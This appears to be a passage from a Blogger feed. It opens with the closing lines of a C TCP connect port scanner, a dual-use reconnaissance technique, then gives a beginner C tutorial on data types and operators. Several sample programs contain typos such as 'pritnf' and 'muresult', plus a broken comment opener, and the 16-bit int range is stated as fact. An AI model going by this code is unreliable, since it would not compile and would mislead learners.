&amp;nbsp; &amp;nbsp;rval = connect(sd, (struct sockaddr *) &amp;amp;servaddr, sizeof(servaddr));&lt;br /&gt;
&amp;nbsp; &amp;nbsp;if (rval == -1)&lt;br /&gt;
&amp;nbsp; &amp;nbsp;{&lt;br /&gt;
&amp;nbsp; &amp;nbsp;printf(&quot;Port %d is closed\n&quot;, port);&lt;br /&gt;
&amp;nbsp; &amp;nbsp;close(sd);&lt;br /&gt;
&amp;nbsp; &amp;nbsp;}&lt;br /&gt;
&amp;nbsp; &amp;nbsp;else&lt;br /&gt;
&amp;nbsp; &amp;nbsp;printf(&quot;Port %d is open\n&quot;,port);&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; &amp;nbsp;close(sd);&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;//socket descriptor&lt;br /&gt;
&amp;nbsp; &amp;nbsp;}&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
[for unix platform]&lt;/end&gt;&lt;/start&gt;&lt;/ipaddress&gt;&lt;/errno.h&gt;&lt;/stdlib.h&gt;&lt;/netdb.h&gt;&lt;/netinet&gt;&lt;/sys&gt;&lt;/sys&gt;&lt;/stdio.h&gt;&lt;/b&gt;</content><link rel='replies' type='application/atom+xml' href='http://easymasters.blogspot.com/feeds/751208895430638640/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://easymasters.blogspot.com/2011/07/port-scanner-in-c-with-translation-of.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7551441440082432535/posts/default/751208895430638640'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7551441440082432535/posts/default/751208895430638640'/><link rel='alternate' type='text/html' href='http://easymasters.blogspot.com/2011/07/port-scanner-in-c-with-translation-of.html' title='Port Scanner in C (with Translation of Functions)'/><author><name>Easy masters</name><uri>http://www.blogger.com/profile/08523723735913677110</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjpAHnQ2kA_tgA0gH8suHfGiYsxePYNPLISeetT7bLIjF4GKvCP-dJWtx-qHdkIATpZo2D8XMvro1gTQuev9RUV9lzGLpIKklCjY5vVF4sFAEZVnn45BNNsAVhfUMWTJA/s220/images.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7551441440082432535.post-7652508852696156090</id><published>2011-07-05T04:23:00.001-07:00</published><updated>2011-07-05T04:23:44.690-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="C / C++"/><title type='text'>C Tutorial Chapter 2</title><content type='html'>&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://www.esearchbook.com/files/thumbnails/73.1196177183.435px-Understanding_C++.svg.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;320&quot; src=&quot;http://www.esearchbook.com/files/thumbnails/73.1196177183.435px-Understanding_C++.svg.png&quot; width=&quot;272&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;b&gt;H&lt;/b&gt;&lt;b&gt;ello friends i hope you read my previous tut on basics of C, if you haven’t than please first read it &lt;img alt=&quot;Smiley&quot; border=&quot;0&quot; src=&quot;http://www.andhrahackers.com/forum/Smileys/fantasticsmileys/smiley.gif&quot; /&gt;&lt;br /&gt;
&lt;br /&gt;
In this tut we will learn about :&lt;br /&gt;
&lt;/b&gt;&lt;br /&gt;
&lt;ul style=&quot;margin-bottom: 0pt; margin-top: 0pt;&quot;&gt;&lt;li&gt;&lt;b&gt;Instructions in C&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Assignment Operators&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Type Conversion&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Operator Precedence in C&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Data Types in Detail&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;b&gt;&lt;br /&gt;
So lets start &lt;img alt=&quot;Wink&quot; border=&quot;0&quot; src=&quot;http://www.andhrahackers.com/forum/Smileys/fantasticsmileys/wink.gif&quot; /&gt;&lt;br /&gt;
&lt;br /&gt;
In our previous C tut we had seen different types of constants, variables and keywords. Before discussing anything else let me first tell you about primary datatypes in C.&lt;br /&gt;
&lt;/b&gt;&lt;b&gt;The Primary Datatypes in C are :&lt;br /&gt;
&lt;/b&gt;&lt;b&gt;A.&amp;nbsp;&amp;nbsp;&amp;nbsp;int : it represents whole numbers within the range -32768 to +32767&lt;br /&gt;
&lt;/b&gt;&lt;b&gt;B.&amp;nbsp;&amp;nbsp;&amp;nbsp;float : it represents real numbers within the range -3.4e38 to +3.4e38&lt;br /&gt;
&lt;/b&gt;&lt;b&gt;C.&amp;nbsp;&amp;nbsp;&amp;nbsp;char : it represents all valid ASCII characters&lt;br /&gt;
&lt;/b&gt;&lt;b&gt;2.1 Instructions in C&lt;br /&gt;
&lt;br /&gt;
The next logical step is to learn how constants, keywords, variables and datatypes are combined to form instructions. There are basically four types of instructions in C.&lt;br /&gt;
&lt;/b&gt;&lt;b&gt;2.1.1&amp;nbsp;&amp;nbsp;&amp;nbsp;Type Declaration Instruction&lt;/b&gt;&lt;b&gt;2.1.2&amp;nbsp;&amp;nbsp;&amp;nbsp;Arithmetic Instruction&lt;/b&gt;&lt;b&gt;2.1.3&amp;nbsp;&amp;nbsp;&amp;nbsp;Input/Output Instruction&lt;/b&gt;&lt;b&gt;2.1.4&amp;nbsp;&amp;nbsp;&amp;nbsp;Control Instruction&lt;br /&gt;
&lt;br /&gt;
Now in this chapter we will discuss only Type Declaration Instruction and Arithmetic Instruction as it is part of every C program. We will dealt with other two types in relevant chapters &lt;img alt=&quot;Wink&quot; border=&quot;0&quot; src=&quot;http://www.andhrahackers.com/forum/Smileys/fantasticsmileys/wink.gif&quot; /&gt;&lt;br /&gt;
&lt;/b&gt;&lt;b&gt;2.1.1 Type Declaration Instruction&lt;br /&gt;
&lt;br /&gt;
This instruction is used to declare the type of variables used in C program. Any variables used in &lt;/b&gt;&lt;b&gt;the program must be declared before using it in any statement. The type declaration is usually written at the beginning of the program.&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: maroon;&quot;&gt;Examples :&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
int ivar ;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;/* declares a variable ivar of type int */&lt;br /&gt;
&lt;br /&gt;
float ah_rocks&amp;nbsp;&amp;nbsp;&amp;nbsp;/* declares a variable ah_rocks of type float */&lt;br /&gt;
&lt;br /&gt;
char ah&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;/* declares a variable ah of type char */&lt;br /&gt;
&lt;/b&gt;&lt;b&gt;2.1.2 Arithmetic Instructions&lt;br /&gt;
&lt;br /&gt;
Arithmetic Instructions are combination of variables operators &lt;i&gt;(described next)&lt;/i&gt; and constants.&lt;br /&gt;
&lt;br /&gt;
Here is a simple program which covers both the instructions discussed above.&lt;br /&gt;
&lt;/b&gt;&lt;br /&gt;
&lt;div class=&quot;codeheader&quot;&gt;&lt;b&gt;Code:&lt;/b&gt;&lt;/div&gt;&lt;div class=&quot;code&quot;&gt;&lt;pre style=&quot;display: inline; margin-top: 0pt;&quot;&gt;&lt;b&gt;/ * A program explaining arithmetic instruction and type declaration instruction */

#include&lt;stdio.h&gt;
#include&lt;conio.h&gt;
void main()
{
clrscr();
int x;&amp;nbsp; &amp;nbsp;/* Variable Declaration */
float y; /* Variable Declaration */

x=20;&amp;nbsp; /*&amp;nbsp; Assigning a constant value of 20 to variable x using assignment operator ‘=’ */

y = x+3.14; /* Combination of variables, operators (=,+) and constants */

printf(“The Value obtained is : “);
printf(“%f”, y); /* Read Note */
&amp;nbsp;
getch();
} /* Program end */&lt;/conio.h&gt;&lt;/stdio.h&gt;&lt;/b&gt;&lt;/pre&gt;&lt;/div&gt;&lt;b&gt;&lt;br /&gt;
&lt;/b&gt;&lt;b&gt;Output is :&lt;br /&gt;
&lt;/b&gt;&lt;br /&gt;
&lt;div class=&quot;quoteheader&quot;&gt;&lt;b&gt;Quote&lt;/b&gt;&lt;/div&gt;&lt;div class=&quot;quote&quot;&gt;&lt;b&gt;The Value obtained is : 23.14&lt;/b&gt;&lt;/div&gt;&lt;b&gt;&lt;br /&gt;
&lt;/b&gt;&lt;b&gt;Note :&lt;br /&gt;
&lt;br /&gt;
%f :&amp;nbsp; is called as format specifier and it is used with pritnf() to display float values&lt;br /&gt;
%d : is used with printf() to display integer values&lt;br /&gt;
%c : is used to display character values&lt;br /&gt;
&lt;/b&gt;&lt;b&gt;P.S : We will deal with format specifier in detail in coming chapters &lt;img alt=&quot;Smiley&quot; border=&quot;0&quot; src=&quot;http://www.andhrahackers.com/forum/Smileys/fantasticsmileys/smiley.gif&quot; /&gt; so don’t worry &lt;img alt=&quot;Wink&quot; border=&quot;0&quot; src=&quot;http://www.andhrahackers.com/forum/Smileys/fantasticsmileys/wink.gif&quot; /&gt;&lt;br /&gt;
&lt;/b&gt;&lt;br /&gt;
&lt;div align=&quot;center&quot;&gt;&lt;b&gt;***************&lt;/b&gt;&lt;/div&gt;&lt;b&gt;&lt;br /&gt;
&lt;/b&gt;&lt;b&gt;2.2 Operators &lt;br /&gt;
&lt;br /&gt;
Operators in C are classified into&lt;br /&gt;
&lt;br /&gt;
Assignment Operator&lt;br /&gt;
Arithmetic Operator&lt;br /&gt;
Relational Operator&lt;br /&gt;
Logical Operator&lt;br /&gt;
&lt;/b&gt;&lt;b&gt;2.2.1 Assignment Operator&lt;br /&gt;
&lt;br /&gt;
The assignment operator is a single equal sign(=).&lt;br /&gt;
This operator is used to assign values to variables.&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: maroon;&quot;&gt;Example :&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
int x; /* declares a variable x of type int */&lt;br /&gt;
x=30 /*assigns a constant value of 30 to x */&lt;br /&gt;
&lt;/b&gt;&lt;b&gt;2.2.2 Arithmetic Operators&lt;br /&gt;
&lt;br /&gt;
Arithmetic operators are used in mathematical expressions (arithmetic instructions). Just as they are used in algebra.&lt;br /&gt;
&lt;br /&gt;
The following table lists the arithmetic operators:&lt;br /&gt;
&lt;/b&gt;&lt;br /&gt;
&lt;table style=&quot;color: inherit; font-family: inherit; font-size-adjust: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;color: inherit; font-family: inherit; font-size-adjust: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit;&quot; valign=&quot;top&quot;&gt;&lt;b&gt;Sr. No&lt;/b&gt;&lt;/td&gt;&lt;td style=&quot;color: inherit; font-family: inherit; font-size-adjust: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit;&quot; valign=&quot;top&quot;&gt;&lt;b&gt;Operator&lt;/b&gt;&lt;/td&gt;&lt;td style=&quot;color: inherit; font-family: inherit; font-size-adjust: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit;&quot; valign=&quot;top&quot;&gt;&lt;b&gt;Description&lt;/b&gt;&lt;/td&gt;&lt;td style=&quot;color: inherit; font-family: inherit; font-size-adjust: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit;&quot; valign=&quot;top&quot;&gt;&lt;b&gt;Type&lt;/b&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td style=&quot;color: inherit; font-family: inherit; font-size-adjust: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit;&quot; valign=&quot;top&quot;&gt;&lt;b&gt;1&lt;/b&gt;&lt;/td&gt;&lt;td style=&quot;color: inherit; font-family: inherit; font-size-adjust: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit;&quot; valign=&quot;top&quot;&gt;&lt;b&gt;+&lt;/b&gt;&lt;/td&gt;&lt;td style=&quot;color: inherit; font-family: inherit; font-size-adjust: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit;&quot; valign=&quot;top&quot;&gt;&lt;b&gt;Addition&lt;/b&gt;&lt;/td&gt;&lt;td style=&quot;color: inherit; font-family: inherit; font-size-adjust: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit;&quot; valign=&quot;top&quot;&gt;&lt;b&gt;Unary Binary&lt;/b&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td style=&quot;color: inherit; font-family: inherit; font-size-adjust: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit;&quot; valign=&quot;top&quot;&gt;&lt;b&gt;2&lt;/b&gt;&lt;/td&gt;&lt;td style=&quot;color: inherit; font-family: inherit; font-size-adjust: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit;&quot; valign=&quot;top&quot;&gt;&lt;b&gt;-&lt;/b&gt;&lt;/td&gt;&lt;td style=&quot;color: inherit; font-family: inherit; font-size-adjust: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit;&quot; valign=&quot;top&quot;&gt;&lt;b&gt;Subtraction&lt;/b&gt;&lt;/td&gt;&lt;td style=&quot;color: inherit; font-family: inherit; font-size-adjust: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit;&quot; valign=&quot;top&quot;&gt;&lt;b&gt;Unary Binary&lt;/b&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td style=&quot;color: inherit; font-family: inherit; font-size-adjust: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit;&quot; valign=&quot;top&quot;&gt;&lt;b&gt;3&lt;/b&gt;&lt;/td&gt;&lt;td style=&quot;color: inherit; font-family: inherit; font-size-adjust: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit;&quot; valign=&quot;top&quot;&gt;&lt;b&gt;*&lt;/b&gt;&lt;/td&gt;&lt;td style=&quot;color: inherit; font-family: inherit; font-size-adjust: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit;&quot; valign=&quot;top&quot;&gt;&lt;b&gt;Multiplication&lt;/b&gt;&lt;/td&gt;&lt;td style=&quot;color: inherit; font-family: inherit; font-size-adjust: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit;&quot; valign=&quot;top&quot;&gt;&lt;b&gt;Binary&lt;/b&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td style=&quot;color: inherit; font-family: inherit; font-size-adjust: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit;&quot; valign=&quot;top&quot;&gt;&lt;b&gt;4&lt;/b&gt;&lt;/td&gt;&lt;td style=&quot;color: inherit; font-family: inherit; font-size-adjust: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit;&quot; valign=&quot;top&quot;&gt;&lt;b&gt;/&lt;/b&gt;&lt;/td&gt;&lt;td style=&quot;color: inherit; font-family: inherit; font-size-adjust: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit;&quot; valign=&quot;top&quot;&gt;&lt;b&gt;Division&lt;/b&gt;&lt;/td&gt;&lt;td style=&quot;color: inherit; font-family: inherit; font-size-adjust: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit;&quot; valign=&quot;top&quot;&gt;&lt;b&gt;Binary&lt;/b&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td style=&quot;color: inherit; font-family: inherit; font-size-adjust: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit;&quot; valign=&quot;top&quot;&gt;&lt;b&gt;5&lt;/b&gt;&lt;/td&gt;&lt;td style=&quot;color: inherit; font-family: inherit; font-size-adjust: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit;&quot; valign=&quot;top&quot;&gt;&lt;b&gt;%&lt;/b&gt;&lt;/td&gt;&lt;td style=&quot;color: inherit; font-family: inherit; font-size-adjust: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit;&quot; valign=&quot;top&quot;&gt;&lt;b&gt;Modulus&lt;/b&gt;&lt;/td&gt;&lt;td style=&quot;color: inherit; font-family: inherit; font-size-adjust: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit;&quot; valign=&quot;top&quot;&gt;&lt;b&gt;Binary&lt;/b&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td style=&quot;color: inherit; font-family: inherit; font-size-adjust: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit;&quot; valign=&quot;top&quot;&gt;&lt;b&gt;6&lt;/b&gt;&lt;/td&gt;&lt;td style=&quot;color: inherit; font-family: inherit; font-size-adjust: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit;&quot; valign=&quot;top&quot;&gt;&lt;b&gt;++&lt;/b&gt;&lt;/td&gt;&lt;td style=&quot;color: inherit; font-family: inherit; font-size-adjust: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit;&quot; valign=&quot;top&quot;&gt;&lt;b&gt;Increment&lt;/b&gt;&lt;/td&gt;&lt;td style=&quot;color: inherit; font-family: inherit; font-size-adjust: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit;&quot; valign=&quot;top&quot;&gt;&lt;b&gt;Unary&lt;/b&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td style=&quot;color: inherit; font-family: inherit; font-size-adjust: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit;&quot; valign=&quot;top&quot;&gt;&lt;b&gt;7&lt;/b&gt;&lt;/td&gt;&lt;td style=&quot;color: inherit; font-family: inherit; font-size-adjust: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit;&quot; valign=&quot;top&quot;&gt;&lt;b&gt;--&lt;/b&gt;&lt;/td&gt;&lt;td style=&quot;color: inherit; font-family: inherit; font-size-adjust: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit;&quot; valign=&quot;top&quot;&gt;&lt;b&gt;Decrement&lt;/b&gt;&lt;/td&gt;&lt;td style=&quot;color: inherit; font-family: inherit; font-size-adjust: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit;&quot; valign=&quot;top&quot;&gt;&lt;b&gt;Unary&lt;/b&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td style=&quot;color: inherit; font-family: inherit; font-size-adjust: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit;&quot; valign=&quot;top&quot;&gt;&lt;b&gt;8&lt;/b&gt;&lt;/td&gt;&lt;td style=&quot;color: inherit; font-family: inherit; font-size-adjust: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit;&quot; valign=&quot;top&quot;&gt;&lt;b&gt;+=&lt;/b&gt;&lt;/td&gt;&lt;td style=&quot;color: inherit; font-family: inherit; font-size-adjust: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit;&quot; valign=&quot;top&quot;&gt;&lt;b&gt;Addition Assignment&lt;/b&gt;&lt;/td&gt;&lt;td style=&quot;color: inherit; font-family: inherit; font-size-adjust: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit;&quot; valign=&quot;top&quot;&gt;&lt;b&gt;Binary&lt;/b&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td style=&quot;color: inherit; font-family: inherit; font-size-adjust: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit;&quot; valign=&quot;top&quot;&gt;&lt;b&gt;9&lt;/b&gt;&lt;/td&gt;&lt;td style=&quot;color: inherit; font-family: inherit; font-size-adjust: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit;&quot; valign=&quot;top&quot;&gt;&lt;b&gt;-=&lt;/b&gt;&lt;/td&gt;&lt;td style=&quot;color: inherit; font-family: inherit; font-size-adjust: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit;&quot; valign=&quot;top&quot;&gt;&lt;b&gt;Subtraction Assignment&lt;/b&gt;&lt;/td&gt;&lt;td style=&quot;color: inherit; font-family: inherit; font-size-adjust: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit;&quot; valign=&quot;top&quot;&gt;&lt;b&gt;Binary&lt;/b&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td style=&quot;color: inherit; font-family: inherit; font-size-adjust: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit;&quot; valign=&quot;top&quot;&gt;&lt;b&gt;10&lt;/b&gt;&lt;/td&gt;&lt;td style=&quot;color: inherit; font-family: inherit; font-size-adjust: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit;&quot; valign=&quot;top&quot;&gt;&lt;b&gt;*=&lt;/b&gt;&lt;/td&gt;&lt;td style=&quot;color: inherit; font-family: inherit; font-size-adjust: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit;&quot; valign=&quot;top&quot;&gt;&lt;b&gt;Multiplication Assignment&lt;/b&gt;&lt;/td&gt;&lt;td style=&quot;color: inherit; font-family: inherit; font-size-adjust: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit;&quot; valign=&quot;top&quot;&gt;&lt;b&gt;Binary&lt;/b&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td style=&quot;color: inherit; font-family: inherit; font-size-adjust: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit;&quot; valign=&quot;top&quot;&gt;&lt;b&gt;11&lt;/b&gt;&lt;/td&gt;&lt;td style=&quot;color: inherit; font-family: inherit; font-size-adjust: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit;&quot; valign=&quot;top&quot;&gt;&lt;b&gt;/=&lt;/b&gt;&lt;/td&gt;&lt;td style=&quot;color: inherit; font-family: inherit; font-size-adjust: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit;&quot; valign=&quot;top&quot;&gt;&lt;b&gt;Division Assignment&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/b&gt;&lt;/td&gt;&lt;td style=&quot;color: inherit; font-family: inherit; font-size-adjust: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit;&quot; valign=&quot;top&quot;&gt;&lt;b&gt;Binary&lt;/b&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td style=&quot;color: inherit; font-family: inherit; font-size-adjust: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit;&quot; valign=&quot;top&quot;&gt;&lt;b&gt;12&lt;/b&gt;&lt;/td&gt;&lt;td style=&quot;color: inherit; font-family: inherit; font-size-adjust: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit;&quot; valign=&quot;top&quot;&gt;&lt;b&gt;%=&lt;/b&gt;&lt;/td&gt;&lt;td style=&quot;color: inherit; font-family: inherit; font-size-adjust: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit;&quot; valign=&quot;top&quot;&gt;&lt;b&gt;Modulus Assignment&lt;/b&gt;&lt;/td&gt;&lt;td style=&quot;color: inherit; font-family: inherit; font-size-adjust: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit;&quot; valign=&quot;top&quot;&gt;&lt;b&gt;Binary&lt;/b&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;b&gt;&lt;br /&gt;
&lt;/b&gt;&lt;b&gt;Note :&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/b&gt;&lt;b&gt;a.) Unary operators are the operators which perform operations on one operand.&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/b&gt;&lt;b&gt;b.) Binary operators are the operators which perform operation on two operands.&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/b&gt;&lt;b&gt;c.) Ternary operators are the operators which perform operations on three operands.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;/b&gt;&lt;b&gt;2.2.2.1 The Basic Arithmetic Operators (+,-,/,*)&lt;br /&gt;
&lt;br /&gt;
The Basic Arithmetic Operators (+,-,/,*) all behave as you would expect for all &lt;br /&gt;
Data types.&lt;br /&gt;
&lt;/b&gt;&lt;br /&gt;
&lt;div class=&quot;codeheader&quot;&gt;&lt;b&gt;Code:&lt;/b&gt;&lt;/div&gt;&lt;div class=&quot;code&quot; style=&quot;overflow: scroll;&quot;&gt;&lt;pre style=&quot;display: inline; margin-top: 0pt;&quot;&gt;&lt;b&gt;/* Program explaining basic arithmetic operators */

#include&lt;stdio.h&gt;
#include&lt;conio.h&gt;
void main()
{
clrscr();
int x,y; /* multiple variable declaration */
int addresult,subresult,divresult,mulresult; /* multiple variable declaration */
x=100; /* assignment */
y=25; /* assignment */
addresult = x + y;
subresult = x-y;
mulresult = x* y;
divresult = x/y;

printf(“Addition Result : %d \n”,addresult); / * see we use %d to print integer so it means here where we wrote %d we want a integer and to tell compiler which result we want at the place of %d we write the int we already declared here in this case addresult */
printf(“Subtraction Result %d \n”,subresult);
printf(“Multiplication Result %d \n”,muresult);
pritnf(“Division Result %d \n”,divresult);
getch();
}&lt;/conio.h&gt;&lt;/stdio.h&gt;&lt;/b&gt;&lt;/pre&gt;&lt;/div&gt;&lt;b&gt;&lt;br /&gt;
&lt;/b&gt;&lt;b&gt;Output :&lt;br /&gt;
&lt;/b&gt;&lt;br /&gt;
&lt;div class=&quot;quoteheader&quot;&gt;&lt;b&gt;Quote&lt;/b&gt;&lt;/div&gt;&lt;div class=&quot;quote&quot;&gt;&lt;b&gt;Addition Result : 125&lt;br /&gt;
Subtraction Result : 75&lt;br /&gt;
Multiplication Result : 2500&lt;br /&gt;
Division Result : 4&lt;/b&gt;&lt;/div&gt;&lt;b&gt;&lt;br /&gt;
&lt;/b&gt;&lt;b&gt;Note : ‘\n’ is called an escape sequence and it is generally used to add a line after displaying.&lt;br /&gt;
&lt;/b&gt;&lt;b&gt;2.2.2.1 The Modulus Operator (%)&lt;br /&gt;
&lt;br /&gt;
The operator returns remainder of the division operation. &lt;/b&gt;&lt;b&gt;It can only be applied to integer data type.&lt;br /&gt;
&lt;/b&gt;&lt;br /&gt;
&lt;div class=&quot;codeheader&quot;&gt;&lt;b&gt;Code:&lt;/b&gt;&lt;/div&gt;&lt;div class=&quot;code&quot;&gt;&lt;pre style=&quot;display: inline; margin-top: 0pt;&quot;&gt;&lt;b&gt;/* program showing the use of modulus operator */

#include&lt;stdio.h&gt;
#include&lt;conio.h&gt;
void main()
{
clrscr();
int x,y,mod_result;
x=42;
y=10;
mod_result=x%y;
printf(“The result of modulus operation is %d”, mod_result);
getch();
}&lt;/conio.h&gt;&lt;/stdio.h&gt;&lt;/b&gt;&lt;/pre&gt;&lt;/div&gt;&lt;b&gt;&lt;br /&gt;
&lt;/b&gt;&lt;b&gt;Output :&lt;br /&gt;
&lt;/b&gt;&lt;br /&gt;
